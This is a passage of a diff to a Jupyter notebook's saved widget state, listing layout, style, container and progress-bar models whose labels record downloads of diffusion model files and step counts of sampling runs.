0, + "orientation": "horizontal", + "style": "IPY_MODEL_4b313724533349be92ef5cb53c1388cd", + "value": 20 + } + }, + "aabeb052d7644bdcab945fdd5acf3cd7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ab713f31f1d34894b4826a67de80daf3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "abeaf2b96435442589d217ce731feaf4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c2b0ede066bf405593c66384d9548613", + "IPY_MODEL_c3a851883eba4e11b70c705a5fae3ee2", + "IPY_MODEL_c0c76cb4f1a04bfe86598e0e0dbffe23" + ], + "layout": "IPY_MODEL_bbac2ab035374103b2c4912aeda2e425" + } + }, + "ac4c75c4296f46e39a0435d0dbafc277": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_916ddc4e29e448788ab4fdeb38d4a217", + "IPY_MODEL_aa75dd567b114609a3f47591a002709c", + "IPY_MODEL_b3c948132a7a42eab9a90a4c64d0087d" + ], + "layout": "IPY_MODEL_fbbee3ba802b41c084ee35dccc8bbabf" + } + }, + "ac8bc6df18574f06b4fe458c3dff0f24": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6a6320e8239d4413b9fc766b2e06ff1e", + "IPY_MODEL_fb21fb73c13f4b12a6e917160f5891ed", + "IPY_MODEL_d7199c08026f4da58da262e192602fc4" + ], + "layout": "IPY_MODEL_ee194df227d447d9a5a36d4ec08d3a47" + } + }, + "acccd96a575d4a679112ff80c935f1c9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "af5bcc7147324069a3d292911d70d057": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "afea13c7ba3a44eeab58c5069f677a61": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e0424e3a00f24718ab911e6162ce8d2c", + "placeholder": "​", + "style": "IPY_MODEL_0ef6a22743594f0081b7af4c1ec4ab71", + "value": "Downloading (…)d8e/unet/config.json: 100%" + } + }, + "b00687d7649d45af882cdd6d0f97591d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_48d6f53c34b84be4a219cc30ac539aeb", + "placeholder": "​", + "style": "IPY_MODEL_6e4877900597413e96d01faf5f76b700", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "b0367ea7d4b549bc85b64029a6da3ad7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b1ac65dd59c94a269c3660d4ebd8fa16": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_76732cd3aa5745058c70bb1aa44b1667", + "IPY_MODEL_09bc80852b334a6f9905c6d93eada57c", + "IPY_MODEL_c1ee4f8f667743ed94a939a9fe749e39" + ], + "layout": "IPY_MODEL_ff7c3d43d89a40a9941f2b9baf8e9fd9" + } + }, + "b25958353ffe4063bf8d09ed149c2550": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b5c2efd1f5044b68bfb75d5fe16d7829", + "placeholder": "​", + "style": "IPY_MODEL_48faccb381254cd99a649c239a419649", + "value": "100%" + } + }, + "b286d3656c404762b3aaff97f4a5892d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "b390338978084bd19f7e7e6ce8ea7e44": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b3c948132a7a42eab9a90a4c64d0087d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4b39f1322aca40da82220ddcfa0c3975", + "placeholder": "​", + "style": "IPY_MODEL_0f564dbb7bc94fd4880dfd72e6547694", + "value": " 20/20 [00:05<00:00, 3.80it/s]" + } + }, + "b3ca161774d7404d903afbed855f054f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b40740317d3a4116a5b141ad4b6cf6ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dfe593ba3bb440e0a29864c62f7b049e", + "placeholder": "​", + "style": "IPY_MODEL_03c6a309fc494734bd9ebf16634f9063", + "value": " 553/553 [00:00<00:00, 9.43kB/s]" + } + }, + "b4c47f72d4204e2abbe9781707b754ee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8e4655cdbd0348bb86523938a0d95367", + "IPY_MODEL_b99c852bd2f54c79afac0eb0049c5dd0", + "IPY_MODEL_5fd422b13c324a8baf619da5d1ad0b8e" + ], + "layout": "IPY_MODEL_dc16acab929344cab2be08d297182843" + } + }, + "b5c2efd1f5044b68bfb75d5fe16d7829": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b6e068b2f21844dc9c184ec49af6b48f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fe213a7fa3c44223847fd5cf3b05a9a5", + "placeholder": "​", + "style": "IPY_MODEL_f546e96ee51643839dd2d98d09df9c87", + "value": " 1.02k/1.02k [00:00<00:00, 18.2kB/s]" + } + }, + "b74ed8b4d7604233a405f1413959b644": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_422cdb3a6aed4177aba5f6e9ac77e1bf", + "placeholder": "​", + "style": "IPY_MODEL_14fe6c5fa5274bde8d90be608d3a6814", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "b77a65348afa4b6aae8540dd5d9e4d2c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b7db2ab7ac704366b20c166c701019c0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b897a3bfccf040548ccf16ef62315d5f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b99c852bd2f54c79afac0eb0049c5dd0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d1d635fff656454e9b0cdba740067c07", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e535c42b82cb4e1fa4fbf492768e5762", + "value": 10 + } + }, + "b9a0167274eb44b7be65b17130d3ade6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_876c7d9ec56145338bb7b960b52bddd0", + "placeholder": "​", + "style": "IPY_MODEL_fa82f3acd0794629b0a5af2383807c2c", + "value": "Downloading (…)ain/model_index.json: 100%" + } + }, + "b9f1fb9570e148e7852f4f569ae82852": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_686e9a80d1554e6ca5ff8e1df5188c31", + "placeholder": "​", + "style": "IPY_MODEL_20d097bf20d541bda6c8b77a0d021c9a", + "value": " 616/616 [00:00<00:00, 33.4kB/s]" + } + }, + "ba1422edddc447b78ba7fbf4ba11e364": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "baf9ec5ebd604db9b1f5dfa948742aa2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b9a0167274eb44b7be65b17130d3ade6", + "IPY_MODEL_44638b1824bc48de85029440f2f4a612", + "IPY_MODEL_b9f1fb9570e148e7852f4f569ae82852" + ], + "layout": "IPY_MODEL_9f75675721ae47eb99c80fedb78ea2b7" + } + }, + "bb3842e44e0a49f2bec66a0bbb971348": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bbac2ab035374103b2c4912aeda2e425": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bbbca2e29d6444f7ba4e592068124650": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bc2730d310454290aedf3e63087213f5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bd4b11f4948c40fb8101049fa3754dde": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5189fa18ab144b5a93124e0b555d5677", + "placeholder": "​", + "style": "IPY_MODEL_43ac63628b35419cb9db5d234951e84f", + "value": " 20/20 [00:02<00:00, 9.11it/s]" + } + }, + "be553a7df92e48b687fc177f7ba3c5fd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c0bb5873a4ca4462a28773a269a6c551": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c0c76cb4f1a04bfe86598e0e0dbffe23": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_39e7952fd2c34271a44ca997250a313c", + "placeholder": "​", + "style": "IPY_MODEL_4dc4d2c609eb40eaa6df50be567b2c61", + "value": " 20/20 [00:05<00:00, 3.85it/s]" + } + }, + "c13cbe7f79d64c9a9ae4fb90a5cbef9a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "c1ee4f8f667743ed94a939a9fe749e39": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_25c92f3c188e4009ba806c6d56cc66c4", + "placeholder": "​", + "style": "IPY_MODEL_1da8ad0bdb2547cdb4edc5bc5df7a8ea", + "value": " 10/10 [00:02<00:00, 3.90it/s]" + } + }, + "c25bc0fc44214d9f8a5f4abba43eaf09": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f40c98061f2946b1885193ee817c52a3", + "placeholder": "​", + "style": "IPY_MODEL_9a91880b909e4b05bf668c410f978ca2", + "value": " 100/100 [00:27<00:00, 3.84it/s]" + } + }, + "c2b0ede066bf405593c66384d9548613": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": 